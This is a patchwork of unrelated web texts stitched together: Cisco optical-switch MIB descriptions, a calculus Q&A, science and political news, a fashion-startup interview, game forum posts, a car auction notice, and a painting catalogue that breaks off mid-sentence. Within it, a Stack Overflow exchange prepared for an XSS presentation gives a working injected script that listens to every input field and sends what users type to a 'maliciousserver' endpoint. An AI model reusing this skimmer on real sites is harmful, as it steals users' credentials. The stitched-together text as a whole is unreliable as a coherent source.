This MIB module defines the managed objects for physical layer related interface configurations and objects for the protocol specific error counters for DWDM optical switches. This MIB contains three groups. The first group, cmPhyIf group, handles the physical layer related interface configurations. The cmPhyIfTable has objects for configuring protocol, rate, error monitoring, loopback mode and safety features like OFC (Open Fibre Control), laser safety control and forward laser control. The second group, cmPhyStatistics group, represents the counters that collect error statistics on the received data traffic for all protocols except SONET. The error statistics for SONET are covered in the SONET-MIB. The third group, cmPhySonetSectionTrace group, provides objects for section trace monitoring on SONET/SDH interfaces.
This table allows physical layer related interface configurations on an interface.
A collection of objects for configuration on an interface.
This object allows the management client to configure the mode of operation for the client interface modules. When in 2R mode, there is no protocol type, clock rate or monitoring to be configured i.e. the next three objects would be read-only. When in 3R mode, monitoring can be enabled or disabled and the clock rate and protocol should be configured.
This object is used to specify the protocol of the data carried over the client side interface. This object applies to linecards which support a variety of protocols and allow dynamic configuration of the specific protocol to be monitored on the interface. The ifType value for such interfaces remains fixed. The agent may use this object to identify the protocol to be monitored (see the cmPhyIfMonitor object), to set the clock rate for the interface (see the cmPhyIfClockRate object), or to enable or disable functionality related to the protocol, for example OFC (see the cmPhyIfOFC object). The value of this object cannot be modified when the cmPhyIfMonitor object is set to 'true' for that interface. Also, this object does not apply to the trunk side interfaces.
This object allows the management client to set the clock rate across the client side interface. Due to hardware limitations, all values may not be supported. The default value of this object depends on the value of the cmPhyIfProtocol object. When the value of the cmPhyIfProtocol object is reset, the value of this object will be automatically set to the default for that protocol. In case of protocols that support multiple rates, the default value of this object will be the lowest rate possible for that protocol. For example, if the value of cmPhyIfProtocol is set to 'sonet', the default value of cmPhyIfClockRate is set to the OC-3 rate of 155520 kHz. If a non-default value is desired, then this object must be set after the cmPhyIfProtocol object has been reset. This object must be set to a supported clock rate when setting cmPhyIfProtocol to 'unknown'. In 2R mode of operation, this object is not applicable and will have a default value of 0. The value of this object cannot be modified when the cmPhyIfMonitor object is set to 'true' for that interface. Also, this object is not applicable to trunk side interfaces.
This object allows the management client to enable monitoring of the error counters on an interface, by writing a value of 'true' to this object. To bypass the monitoring hardware, a value of 'false' must be written to this object. Monitoring does not apply when the value of cmPhyIfProtocol is 'unknown'.
This object allows the management client to configure loopback for the client side or trunk side interfaces. 'noLoop' - No Loopback present. 'diagnosticLoop' - This is an internal loopback, where the data stream is looped from the transmit to receive section. It is used for hardware debug, bring-up and diagnostics. 'lineLoop' - In this mode, the receive data stream is looped back to the transmit side. 'otherLoop' - This indicates loopbacks not defined here. The default value of this object will be 'noLoop'.
This object allows the management client to enable OFC(Open Fibre Control) safety protocol for the client side interfaces, by writing a 'true' value to this object. A 'false' value would disable OFC. The default value of this object varies depending on the value of cmPhyIfProtocol and cmPhyIfClockRate. When cmPhyIfProtocol or cmPhyIfClockRate is reset, then the value of this object is automatically reset to the default value for that protocol or rate. If non-default OFC behavior is desired, then this object should be set after cmPhyIfProtocol or cmPhyIfClockRate has been reset. This object is not applicable to trunk side interfaces.
This object allows the management client to enable laser safety control feature on the trunk side interfaces by writing a true value to this object. If laser safety control is enabled, the transmit laser on the trunk side is shut when the receive signal is not available on the fiber. A 'false' value disables this feature and is the default value assigned to this object. Laser safety control would not apply in case of splitter protection on the optical switch.
This object allows the management client to enable forward laser control on the client or trunk side interfaces by writing a true value to this object. If forward laser control is enabled, the transmit laser is shut when the cross-connect receive port on the switch is in alarm condition. A 'false' value disables this feature and is the default value assigned to this object.
This object applies when circuit emulation of the client protocol is used. It allows the management client to configure the size of the transmit buffer on the client port. A value of 0 implies that this object does not apply to this interface. Controlling the size of the transmit buffer on a client port may be essential in scenarios where packet streams from various client ports are aggregated onto a single trunk port. The latency associated with an elementary stream received on a client port, from the trunk port is influenced by the nature of other elementary streams in the aggregate. For example, a giant packet in one stream will increase latency in processing packets in other elementary streams. The size of the transmit buffer on the client port must be configured proportional to this expected latency. Increasing the buffer size when latency is higher helps in reassembly of fragmented packets before transmitting them to the client device. Note that increasing the buffer size results in higher latency even when the elementary packet stream is not subject to high jitters. Refer to the platform specific documentation for guidelines on configuring this buffer size.
This object allows the management client to enable auto negotiation signaling on the client side interface, by writing a 'true' value to this object. A 'false' value would disable auto negotiation. Setting the value 'notApplicable' to this object will not change the existing value in this object. Auto negotiation is applicable only for a few client protocols such as gigabitEthernet. If the client interface does not support 'auto negotiation' feature, then this object has the value of 'notApplicable' and the value will not be changed via a set operation.
This object is used to identify the physical layer medium used for carrying data. For non-relevant interfaces, this value is 'unknown'.
This object is used to specify the rate of the interface. The value of 'unknown' implies that this object does not apply to this interface.
This object is used to identify the current rate of the interface after the auto negotation. This object is valid only if the object cmPhyIfRate is configured as 'auto'.
Oversubscription allows the user to carry multiple clients over the trunk to efficiently utilize the trunk bandwidth. This object allows the management client to enable over subscription on an interface by setting a value of 'true' to this object. A 'false' value would disable over subscription. Setting the value 'notApplicable' to this object is not allowed. The value of 'notApplicable' implies that this object does not apply to this interface.
This object allows the management client to specify the subrate bandwidth of the oversubscribed trunk which carries this client. A value of 0 implies that this object does not apply to this interface.
This object allows the management client to lock the subrate bandwidth on an interface, by writing a value of 'true' to this object. A 'false' value would disable the bandwidth lock. If the clients bandwidth is locked then this client will not share its bandwidth with the other clients on the same oversubscribed trunk. SubrateLock does not apply when the value of cmPhyIfClientSubrate is zero.
This table contains the cumulative error statistics being collected for the different medium types, except SONET, on the client side and an object for the optical power level on the trunk side. The error statistics for SONET are covered by the sonetSectionCurrentTable and the sonetSectionIntervalTable in the RFC1595-MIB.
An entry in the cmPhyStatisticsTable.
This object gives the optical power level received on the trunk side interface. The actual value of the power level received on the interface is the value of this object divided by 100. This object is not applicable to client side interfaces. This object has been deprecated since a similar object has been defined in the CISCO-OPTICAL-MONITOR-MIB.
This object represents the lower word value of the counter associated with the number of code violations and running disparity errors encountered, in the receive direction. NOTE: The object cmPhyRxCVRDOverflow contains the higher 32 bits of this counter value. SNMP v2c or v3 managers can use the cmPhyHCRxCVRD object directly which is a 64 bit counter.
This object represents the high word value of the counter associated with the number of code violations and running disparity errors encountered, in the receive direction. NOTE: The object cmPhyRxCVRD contains the lower 32 bits of this counter value. If the error count is greater than 4,294,967,295 the higher word value will be stored in this object. SNMP v2c or v3 managers can use the cmPhyHCRxCVRD object directly which is a 64 bit counter.
This object represents the counter associated with the number of code violations and running disparity errors encountered, in the receive direction. This is a High Capacity (64 bit) version of the cmPhyRxCVRD counter.
This object represents the lower word value of the counter associated with the number of CDL HEC errors encountered, in the receive direction. This object has a valid value only if the protocol type is gigabitEthernet/ tenGigabitEthernet. For all other protocols, this object is not applicable. NOTE: The object cmPhyRxHECOverflow contains the higher 32 bits of this counter value. SNMP v2c or v3 managers can use the cmPhyHCRxHEC object directly which is a 64 bit counter. This object has been deprecated since a similar object has been defined in the CISCO-CDL-MIB.
This object represents the high word value of the counter associated with the number of CDL HEC errors encountered, in the receive direction. This object has a valid value only if the protocol type is gigabitEthernet/ tenGigabitEthernet. For all other protocols, this object is not applicable. NOTE: The object cmPhyRxHEC contains the lower 32 bits of this counter value. If the error count is greater than 4,294,967,295 the higher word value will be stored in this object. SNMP v2c or v3 managers can use the cmPhyHCRxHEC object directly which is a 64 bit counter. This object has been deprecated since a similar object has been defined in the CISCO-CDL-MIB.
This object represents the counter associated with the number of CDL HEC errors encountered, in the receive direction. This object has a valid value only if the medium type is gigabitEthernet/ tenGigabitEthernet. For all other media, this object is not applicable. This is a High Capacity (64 bit) version of the cmPhyRxHEC counter. This object has been deprecated since a similar object has been defined in the CISCO-CDL-MIB.
This object represents the lower word value of the counter associated with CRC errors. This object has a valid value only for interfaces that provide CRC error monitoring. NOTE: The object cmPhyRxCRCOverflow contains the higher 32 bits of this counter value. SNMP v2c or v3 managers can use the cmPhyHCRxCRC object directly which is a 64 bit counter.
This object represents the higher word value of the counter associated with CRC errors. This object has a valid value only for interfaces that provide CRC error monitoring. NOTE: The object cmPhyRxCRC contains the lower 32 bits of this counter value. If the error count is greater than 4,294,967,295 the higher word value will be stored in this object. SNMP v2c or v3 managers can use the cmPhyHCRxCRC object directly which is a 64 bit counter.
This object represents the counter associated with CRC errors. This object has a valid value only for interfaces that provide CRC error monitoring. This is a High Capacity (64 bit) version of the cmPhyRxCRC counter.
This object represents the lower word value of the counter associated with ingress error indications from the far end of an Ethernet network, where an ESCON stream is encapsulated in Ethernet packets. This counter is incremented whenever an ESCON packet or control character has 8b/10b code violations or running disparity errors in the ingress direction at the far end of the Ethernet network. This object has a valid value only for ESCON interfaces where Ethernet encapsulation is performed. NOTE: The object cmPhyTxEncapFarEndPktErrOverflow contains the higher 32 bits of this counter value. SNMP v2c or v3 managers can use the cmPhyHCTxEsconPktInd object directly which is a 64 bit counter.
This object represents the higher word value of the counter associated with ingress error indications from the far end of an Ethernet network, where an ESCON stream is encapsulated in Ethernet packets. This counter is incremented whenever an ESCON packet or control character has 8b/10b code violations or running disparity errors in the ingress direction at the far end of the Ethernet network. This object has a valid value only for ESCON interfaces where Ethernet encapsulation is performed. NOTE: The object cmPhyTxEncapFarEndPktErrors contains the lower 32 bits of this counter value. SNMP v2c or v3 managers can use the cmPhyHCTxEsconPktInd object directly which is a 64 bit counter.
This object represents the counter associated with ESCON ingress error indications from the far end of an Ethernet network, where an ESCON stream is encapsulated in Ethernet packets. This counter is incremented whenever an ESCON packet or control character has 8b/10b code violations or running disparity errors in the ingress direction at the far end of the Ethernet network. This object has a valid value only for ESCON interfaces where Ethernet encapsulation is performed. This is a High Capacity (64 bit) version of the cmPhyTxEncapFarEndPktErrors counter.
This table provides objects for monitoring the J0 bytes of a SONET or SDH section.
An entry in the cmPhySonetSectionTraceTable is created when the value of the cmPhyIfProtocol object is set to 'sonet' and the value of cmPhyIfMonitor is set to 'true'.
This object displays the SONET or SDH section trace bytes received at the interface.
This object defines the SONET or SDH section trace bytes to be expected at the interface. The default value of this object will be a zero length string.
The collection of objects to allow configurations and give information related to the physical layer characteristics of an interface.
The collection of objects used to monitor the protocol error counters on the client side and the power level received on the trunk side.
The objects used for monitoring the SONET section trace bytes.
The collection of objects used to monitor the code violation and running disparity error counters.
The collection of objects used to monitor CRC error counters.
The collection of objects used to monitor the far end ingress error indication counters for Ethernet- encapsulated ESCON streams.
The collection of objects used to control size of transmit buffer.
The collection of objects used to control auto negotiation behavior.
The object that gives information related to transmission types on the client interface.
The collection of objects that are used to retrieve and configure the various interface rates.
The collection of objects to allow the oversubscription configurations on an interface.
The collection of objects to allow the configurations related to the subrating on an interface.


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Q: Finding Definite Integral where upper bound is variable
I believe my working out is correct but the answer I am obtained doesn't seem right:
Let
$$ xe^x = u.$$
Then
$$\frac{dF}{du} = \sin u^2 \,$$
But
$$\frac{dF}{dx} = \frac{dF}{du} \frac{du}{dx}= \sin u^2  \frac{d}{dx} xe^x= (\sin (xe^x)^2) (e^x + xe^x).$$
Then do I just substitute $x=2$ and $x=-2$ into the fundamental theorem of calculus?
By doing so I obtain, $14.25$

A: The only error I find in your computation of the derivative is this:
\begin{align}
\text{wrong: } & \quad \frac{dF}{du} = \sin u^2 \, du \\[15pt]
\text{right: } & \quad \frac{dF}{du} = \sin u^2
\end{align}
Once you've found $\dfrac{dF}{dx}$ as a function of $x,$ you can evaluate it at $x=2$ just by evaluating it as $x=2.$

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January	3	2014
Scientists discover new mechanisms for relaxing airways using bitter tasting substances
That kale and bitter melon you are eating may someday save your life. An interdisciplinary team of scientists at the University of Massachusetts Medical School have taken a step forward in understanding how the substances that give some foods their bitter flavor also act to reverse the contraction of airway cells, a process known as bronchodilation. This effect may one day be harnessed to provide improved treatments for airway obstructive diseases such as asthma and chronic obstructive pulmonary disease. The findings were published on March 5 in the open access journal PLOS Biology.
"I am excited that someday, with more research, there may be a new class of bronchodilators which are able to reverse anasthma attack quicker and with fewer side effects than is currently available to patients," said Ronghua ZhuGe, PhD, associate professor of microbiology and physiological systems and senior author of the study.
The sense of taste is mediated by taste receptor cells bundled in our taste buds. Most humans experience five types of tastes: sweet, salty, sour, bitter and savory. Bitter taste receptors most likely evolved to help alert the body to potentially harmful foods that have spoiled or are toxic. The receptors have long been thought to only exist in certain cells present in the tongue. Over the last few years, however, scientists have come to realize that these receptors are present in many other cells throughout the body. Specifically, bitter taste receptors on smooth muscle cells in the airway act to relax the cells when exposed to bitter-tasting substances.
A hallmark of an asthma attack is excessive contraction of smooth muscle cells, which causes narrowing of the airways and subsequent breathing difficulties. The fact that bitter substances can relax these smooth muscle cells suggests that they may have the potential to halt asthma attacks and in fact could even be an improvement over current treatments since the relaxation effects are quite fast. Indeed, experiments in mice suggest that the effects are stronger.
However, the mechanisms by which bitter taste receptor activation causes a cell to relax were unknown. To help unravel these mechanisms, Dr. ZhuGe and colleagues examined the effect of bitter substances on the contraction of airways and in single isolated cells.
During an asthma attack, channels on the membrane of smooth muscle cells in the airways open. This allows calcium to flow into the cell, causing it to contract. When the cells contract, the airway becomes narrower and makes breathing more difficult. Dr. ZhuGe and colleagues determined that bitter substances act by shutting down these calcium channels, allowing bronchodilation.
Bitter taste receptors, like most receptors, span the plasma membrane of the cell. Part of the receptor is outside the cell, able to bind (and hence "sense") bitter substances outside the cell. When a bitter compound binds to a bitter taste receptor, the receptor releases a G-protein, which then splits into two parts: a G alpha subunit and G beta-gamma dimer. "It is the G beta-gamma dimer that likely acts to close the calcium channels on the plasma membrane," said Kevin Fogarty, director of the biomedical imaging group in the program in molecular medicine at UMMS, and a co-author of the study. "Once the channels are closed, the calcium level returns to normal and the cell relaxs," he said. "This ends the asthma attack."
"With this new understanding of how bitter substances are able to relax airways, we can focus our attention on studying these receptors and on finding even more potent bitter compounds with the potential to be used therapeutically to end asthma attacks," said Dr. ZhuGe.
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Founded in 2014, Sundar was first incubated at TechStars Boston, and before that at MIT. The team has won industry accolades, including awards from the Council of Fashion Designers of America (CFDA), Condé Nast, and Decoded Fashion. Sundar is currently participating in New York Fashion Tech Lab 2015, a collaboration between the Partnership Fund for New York, Springboard Enterprises, and leading U.S. apparel & accessory brands and retailers.
Prior to launching Sundar, MIT Sloan School of Management-grad Gill was a banker and advisor for several years to top business owners and companies in India. She was Vice President at Deutsche Bank's Private Wealth Management Division and Associate Director at USB's Wealth Management Global South Asia.
Kristina Moore: Tell us how Sundar works.
Jag Gill: Sundar is a collaborative platform that connects creative professionals with quality materials and qualified vendors globally. We are starting with fashion, a trillion dollar global industry whose supply chain is "pen-and-paper", word-of-mouth, opaque and offline.
On one side of the platform, for designers, it's a discovery and inspiration platform to source materials for new collections and suppliers with specialist skills; on the other side, previously offline & local, producers and manufacturers get exposure and visibility to global customers.
Our mission is to streamline the discovery and sourcing process by providing sophisticated search, curation and data-driven insights on what to purchase, produce and stock, to buyers and sellers 24/7.
Moore: What impact does Sundar ultimately have on clothing choices offered, directly or indirectly, to professional women?
Gill: We want to empower the creators of fashion to discover and source materials and vendors from all corners of the world - to create apparel that has a story, whether it is around finding innovative materials, social impact or transparent supply chains. Professional women see fashion less and less as a commodity, and more as a way to be unique, feel their best, and as a platform to manifest "consciousness" and ethical choices. That's why brands like Everlane, Maiyet, Zady are all flourishing. Of course, price and quality are critical – and professional women covet long-lasting products at fair prices – fair for consumers and fair for the workers that create them.
Moore: Who are your competitors in the industry?
Gill: This industry lives in the offline world. Designers go to trade-fairs, agents and showrooms to source new vendors and find new materials to work with, which is expensive and inefficient. The business of fashion has been slow to adopt technology. Online listing sites like alibaba.com are Asia-focused, and don't do a good job at curating quality supplier sources. Professionals in design, sourcing and production at fashion brands and retailers have a tough time as they cannot travel frequently given finance and budget cuts; and yet they need to design and create ten to fifteen new and fresh collections a year, in very short production cycles.
Moore: What compelled you to switch your career from finance to fashion and launch Sundar?
Gill: During my twenties, generally a time of professional and personal discovery, I came to the realization that I am Right-Brain Left-Brain integrated and equal. I enjoyed the quantitative aspects of finance, the analytical rigor of markets and economics; but I was also very design-driven, which was an important part of my personal journey and a rich cultural heritage of India's aesthetic; during every working trip to India, I would become more and more captivated by it's fashion and creative classes (my social circle comprised of designers, curators, writers, social entrepreneurs). My Left Brain identified the massive trillion dollar market opportunity; My Right Brain reveled in the beauty of building a digital and global creative ecosystem which didn't exist before. Sundar is the fusing of these two life stories through entrepreneurship.
Moore: It is my understanding that Sundar is concerned about social responsibility in the fashion industry. Can you explain this further?
Gill: We have several important mandates at Sundar – to innovate an antiquated industry, to bring transparency to opaque processes and to build global relationships across the fashion industry. Sundar is a platform where micro-producers doing impact work, as well as larger manufacturers, can connect with designers. For example, Shanley Knox is a social entrepreneur working to protect bovine biodiversity in Uganda. Her manufacturing collective, Olivia Knox, is providing luxury designers with access to after market horn through an industry cluster that is shifting horn manufacturing toward smarter production, ethical labor practices and direct sourcing from ranchers. Through Sundar, she has connected with luxury brands who are sampling her materials for their next collections.
Moore: Sundar has participated in multiple incubator programs, most recently, New York Fashion Tech Lab. Would you recommend this approach to other fashion tech startups? What are some of the advantages?
Gill: These programs offer important resources – from seed capital, co-working space, a vast network of expert mentors and advisers, and most critical – a community of ambitious founders and friends who will be instrumental to your venture's story. Sundar would not be where it is today without TechStars and the NYFTL – both literally "accelerated" our business by a year, as we get introductions to customers and users of our product immediately. Acceptance at the highest quality accelerators and incubators is hard (at less than 1%), rigorous and competitive. For the NYFTL, we pitched Sundar's vision and mission to a group of high-powered fashion CEO's. My advice would be to identify a program that fits with your company's profile, network with founders that have participated so that you can craft a stand-out application and really get noticed for your passion, conviction and traction.
Moore: What is your biggest current challenge as a start-up?
Gill: Building a start-up, which is intrinsically about ideating and creating something that did not exist before, has challenges at each stage of the entrepreneurial journey. From bootstrapping (which we have successfully emerged from having validated the potential of our model), to raising institutional funding, to scaling, hiring and attacking new markets – right through to exit and liquidity decisions. Right now, I'd say our biggest challenge, and therefore opportunity, is speed to market, and how we can grow faster whilst staying lean as a team and ensuring that our product and offering is high-quality and curated. This is typically the business conundrum with platform solutions and marketplaces like ours. We are also evaluating daily our mission and purpose as thought-leaders in our space and how we can provide tools for transparency, sustainability and inclusiveness in what is a very opaque and traditional industry.
Moore: What's next for Sundar?
Gill: Our goal is to build the largest creative digital ecosystem for the fashion and design-based industries. We want to empower creative professionals to push boundaries in product development, where time and money was a constraint, and create a launchpad for designers and brands to see their imagery come to fruition; and we will unite thousands of skilled manufacturers and suppliers to connect at an unprecedented rate with our digital and mobile tools. We want to be global pioneers in creative connectivity and collaboration.
Moore: In addition to running Sundar, how else do you enjoy spending your time? What activities do you do that allow you to replenish your creativity and energy?
Gill: Meditation and journaling, at least 20 minutes every morning, remind me to remain centered, trust in myself and feel gratitude. Interval runs along the Hudson kick-start my day. In the evenings, I love to be around people and have a wide circle of friends, enjoy cozy dinners and learning from other people's work journeys and personal stories. I am also an aesthete. Beauty inspires and I seek it daily through art, textiles, fashion, and architecture, which is why living in SoHo is a canvas for my personal creativity.


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California lawmakers advance pension borrowing…
California lawmakers advance pension borrowing plan
SACRAMENTO, Calif. (AP) — California lawmakers on Monday approved a plan to borrow $6 billion from a state savings account to pay down massive debt in the nation's largest public-employee retirement program.
The Senate sent the measure to Gov. Jerry Brown despite concerns from some lawmakers that it could be risky to borrow money and invest it through the California Public Employees' Retirement System.
CalPERS' $325 billion investment fund, the largest public-employee pension fund in the country, has enough money to cover only about two-thirds of the benefits promised to retired public employees. The CalPERS board has steadily increased mandatory contribution rates for the state, cities, counties and school districts to make up for the shortfall. The state's share of the unfunded liability is estimated to be $59 billion, with its minimum payment forecast to increase from $5.8 billion this year to $11.2 billion in 2031.
Brown in May proposed borrowing money to pay down that debt, saying the state can lend from its own short-term investment account and earn a higher return through the more aggressive investments at CalPERS. He said the proposal would save $11 billion over 20 years through lower annual pension costs.
Money borrowed from the short-term account, known as the Surplus Money Investment Fund, would be repaid with interest using money from Proposition 2, which was approved by voters in 2014 and requires the state to spend a portion of revenue paying down debts.
Republican Sen. John Moorlach of Costa Mesa said he likes the idea of prepaying retirement costs and even joined Democratic Treasurer John Chiang in writing a newspaper editorial supporting the plan. But he voted against it Monday, citing Brown's repeated warnings that a recession is inevitable.
"If that's the case, we will have put $6 billion into the retirement system at the most inopportune time," Moorlach said. "That is my concern, that we invest at the top of the market."
CalPERS has struggled to hit its own investment target, which is phasing down to 7 percent per year. Last year, the fund earned 0.61 percent, down from 2.4 percent the prior year.
Democratic Sen. Steve Glazer of Orinda said the idea may have merit but lawmakers should wait until it's been more thoroughly studied.
"A few months of analysis in a public setting so everybody can hear, not in a back room, can only be a healthy thing for us to ensure this is the right course to take," Glazer said.
H.D. Palmer, a spokesman for Brown's Finance Department, said the proposal was carefully developed with insight from lawmakers and Chiang, who has a legal obligation to responsibly oversee the state's investments.
"We've fully disclosed all of the potential risks and inherent benefits it entails, and we are convinced that it's a sound and prudent step to take," Palmer said.
The measure was approved in a 24-13 vote with support mostly from Democrats.
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A Walk to the Shack
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Illinois Audubon Executive Director Jim Herkert recently sat with Glen Kruse to discuss his Walk to the Shack, a 300-plus mile trip that starts on April 22. Kruse will be walking 18 miles a day from his home in Rochester, Illinois to the weekend retreat of Aldo Leopold, The Shack, near Baraboo, Wisconsin. Pending weather and other factors, he plans to reach The Shack on May 12.
"A thing is right when it tends to preserve the integrity, stability and beauty of the biotic community. It is wrong when it tends otherwise." Aldo Leopold
Listen in on the conversation to learn why Kruse chose to walk to honor Aldo Leopold and to all of those he worked with during his career in natural resource conservation in Illinois. His pilgrimage is in the sense of "a journey to a place that is considered special, where you go to show your respect."
The Walk to the Shack is also a fundraiser for the Aldo Leopold Foundation and the Illinois Audubon Society's Marilyn Campbell Stewardship and Land Acquisition Fund. Please include a notation that you are contributing in support of the Walk to the Shack.
A follow-up evening Zoom session with Glen Kruse will be held a few days after his return. Stay tuned for details and plan to listen in for details on his trek to Baraboo and reflections on his career following Leopold's mission to "preserve the integrity, stability and beauty of the biotic community."


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Q: Convert Intent Uri to path public class AddImage extends AppCompatActivity {
   @Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_add_account);
}

   @Override
   protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
       super.onActivityResult(requestCode, resultCode, data);

       if(requestCode == PICK_IMAGE && resultCode == RESULT_OK && data != null && data.getData() != null){
           uriSecurityQuestion = data.getData();
           ivSecurityQuestions.setImageURI(uriSecurityQuestion);
           ivSecurityQuestions.setVisibility(View.VISIBLE);
       }
   }
}

I send a request to add a .png file, then on the intent return, the onActivityResult is called with the intent data (containing the filepath to the .png selected)
From the Intent data, I don't get a path that is /storage/emulated/0/, but rather I get something like /document/msf:49 . How can I get the absolute filesystem path?
data.getData().getPath() doesn't seem to give the path I want.
I want to use this path to create a java.io.File object and push it to my google drive api service. When I manually type the path to the file myself, it does seem to upload the document so my only roadblock is getting the correct filepath.


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Re: Available GC Teams (This is NOT a Discussion Thread) I'm about to reject two job offers at the same time in GC 57. One is from Rangers (Best players: Song, Lugano, M'Bia) and the other from Celtic (Best players: McGeady, Scott Brown, Boruc).
Re: Russian and Ukraine Player Analysis 2010 How about Shakhtar's goalkeeper Rybka. I've seen there's been a discussion about him earlier on this post, but now it turns out he started almost every game for Shaktar before the winter break. Is he the new first choice keeper or Pyatov is just injured? If he's the new first choice he should soon rise to 88-89, same level as Pyatov, who should probably drop to 87, right?
Re: Argentina and Ecuador under 21 players with minutes I agree. Josè Ayovi, from Independiente Josè Teran, played 39 games last season, starting 26 of them, and scoring 7 goals (playing as a midfielder). The result? He got a +2 and he's now rated 79. This is simply ridicolous, especially for a league that is reviewed once a year. The rating does not reflect the real strength of the player at all. Either they should give more realistic ratings or review these leagues more often. I can't stand this nonsense.
Re: Player Concerns (please read the Online Help if looking for help) No there are not. I only play in Gold Championships and there are not that many good club to be joined. Plus, I thought I was free to choose the club I prefer and there's no reason why I shouldn't (I brought up Juventus as an example, do you seriously think you can take over a Juventus squad in a Gold GW whenever you want?). Player concerns can't force you to join a club instead of another, what's the fun in this?
Re: Player Concerns (please read the Online Help if looking for help) I didn't know this, but then we have another problem. I noticed that a lot of players starts concerning when their rating rises. For example: in GC 41 I manage Hibernian. Pablo Osvaldo is my third choice as a striker (after Matri and Doumbia) and when his rating grew to 88 he almost immediately started showing corcerns for not getting game time (he was playing every cup game, anyway). The problem is that now that he's rated 88 he can complain about not playing much, but the concern refers to the last two seasons, when he was rated 87 and he couldn't compete with Matri and Doumbia for a place in the starting 11. I think that concerns only affects the highest rated players of the squad, but their concerns should start developing when their rating is actually high. This can't be retroactive, affecting a period of time when their rating was too low to allow them to fight for a place in the starting 11, am I right?
I'm dealing with a lot of unhappy players and in some case I don't see the point. I mean, if a player plays every cup game in the season (National cups + smfa shield or cup), why should he complain for not getting enough game time? This is starting to happen to me all the time and I'm under the impression that the game doesn't consider cup games to avoid players unhappiness. I think that all this unhappiness thing should be reformed, and a manger should have some more space to manage tournovers among players.


Whilst many auction houses are increasingly specialising in million-dollar blue-chip classics, Classic Car Auctions from Uithoorn, Netherlands, has discovered the market for semi-precious collector cars and classics of the future. The Youngtimers & Specials auction, which ends on 19 March, mainly consists of cars from the 1990s and early 2000s and includes many "sleepers", such as a Fiat Coupé, an Alfa Romeo GTV, a fifth-generation Maserati Quattroporte and a first-series Porsche Boxster. Also included are some examples known for their powerful engines, such as a BMW M3 and an Audi RS 6. Many models are priced significantly below 10,000 euros, with the highest estimated price being attached to a 2000 Porsche 911 Turbo (28,000 to 31,000 euros).
Meanwhile, Classic Car Auctions' second sale, Classic & Sports Cars, will end on 20 March. From a Simca from the late 1940s to a Porsche 911 from the turn of the millennium, numerous icons of automotive history are available at manageable prices. For example, a 1972 Saab 96 can be bought for between 5,500 and 7,000 euros and an MG B or Porsche 928 for under 10,000 euros. Personally, we'd raise our paddles for the 1996 TVR Chimaera (19,500 to 23,500 euros) or the extremely casual 1982 Fiat Abarth Ritmo 125 TC (21,000 to 25,000 euros). If you really want to, there is definitely one car you could spend a small fortune on: the fascinatinghomage to the Jaguar XK180 that was based on an XKR from 1999, which is estimated at 160,000 to 190,000 euros.
You can find the catalogues for Classic Cars Auctions' Youngtimers & Specials and Classic & Sports Cars sales in the Classic Driver Market.


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Q: res.json in Express with passing embedded JS I am working on a presentation I have to give on XSS attacks. In my presentation, my scenario is some bank employee somehow hijacks and adds a route handler to the banks express server so he or she can have the email and passwords punched in by bank customers sent to their own server.
The goal here is to show my audience that when I type an email and password, they should be able to see what I am typing inside of Chrome console, but I am getting syntax errors that is breaking the Express server.
I know that the first router that is supposed to have the good code, basically an ad from the bank works with res.json({}) only like so:
app.get("/content/1/", (req, res) =>
  res.json({ content: "Thinking about taking out a new loan? Call us today." })
);

But it does not seem to work when embedding an HTML element with the malicious code and I am unclear whether this would work best with res.sendFile() or I just don't know where to put the  backslashes in the code to not break the server when adding it inside of res.json({}).
This is the code that is causing the Express server to crash, it is supposed to mimic what the bad guy did:
app.get("/content/2/", (req, res) => {
  res.json({ content: " {
      el.addEventListener("input", (event) => {
        fetch(`/maliciousserver?value=${event.target.value}`);
      });
    });\" />"});

A: It's an escaping thing, the attacker would just rewrite the payload, so does not need work around the "'s
ie. document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))
So passing back:
app.get("/content/2/", (req, res) => {
  res.json({ content: " el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))\" />"});

You would then need unsafely place content on the dom, all things banks wouldn't do.
https://playcode.io/628761/


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All Pieter Gysels Oil Paintings
The Hermitage, St.Petersburg
Pieter Gysels1.jpgPainting ID:: 1807
mk60 Oil on copper 20 1/2x25 1/2"
new3/Pieter Gysels-237499.jpgPainting ID:: 28471
All Christian Friedrich Gille Oil Paintings
mk141 ca.1835 Oil on pencil on paper mounted on cardboard 28.8x38.6cm
new12/Christian Friedrich Gille-767767.jpgPainting ID:: 38768
All Demetrio Cosola Oil Paintings
San Sebastiano,Po 1851-1895 Chivasso
mk141 1879 Oil on canvas 62.5x42.8cm
new12/Demetrio Cosola-339529.jpgPainting ID:: 38828
All Gustave Courbet Oil Paintings
mk242 1873 45x54.5cm
new20/Gustave Courbet-888233.jpgPainting ID:: 55587
mk245 c.1853 29.8x39.7cm
All Camille Pissarro Oil Paintings
mk259 1876 Oil on canvas years 112.7 x 165.4 cm
new20/Camille Pissarro-678492.jpgPainting ID:: 57807
mk259 1878 Oil on canvas years
mk259 1881 Oil on canvas 82.6 x 74.9 cm
All Paul Cezanne Oil Paintings
mk273 1886 Oil on canvas 92 x 74.5 cm
new21/Paul Cezanne-324438.jpgPainting ID:: 60870
All Louis Lcart Oil Paintings
mk286 50 x 61 cm 1933
new21/Louis Lcart-558636.jpgPainting ID:: 63477
Louis Lcart
French (1880-1950) Louis Icart was born in Toulouse, France. He began drawing at an early age. He was particularly interested in fashion, and became famous for his sketches almost immediately. He worked for major design studios at a time when fashion was undergoing a radical change-from the fussiness of the late nineteenth century to the simple, clingy lines of the early twentieth century. He was first son of Jean and Elisabeth Icart and was officially named Louis Justin Laurent Icart. The use of his initials L.I. would be sufficient in this household. Therefore, from the moment of his birth he was dubbed 'Helli'. The Icart family lived modestly in a small brick home on rue Traversi??re-de-la-balance, in the culturally rich Southern French city of Toulouse, which was the home of many prominent writers and artists, the most famous being Henri de Toulouse-Lautrec. Icart fought in World War I. He relied on his art to stem his anguish, sketching on every available surface. It was not until his move to Paris in 1907 that Icart would concentrate on painting, drawing and the production of countless beautiful etchings, which have served (more than the other mediums) to indelibly preserve his name in twentieth century art history. When he returned from the front he made prints from those drawings. The prints, most of which were aquatints and drypoints, showed great skill. Because they were much in demand, Icart frequently made two editions (one European, the other American) to satisfy his public. These prints are considered rare today, and when they are in mint condition they fetch high prices at auction. Art Deco, a term coined at the 1925 Paris Exposition des Arts Decoratifs, had taken its grip on the Paris of the 1920s. By the late 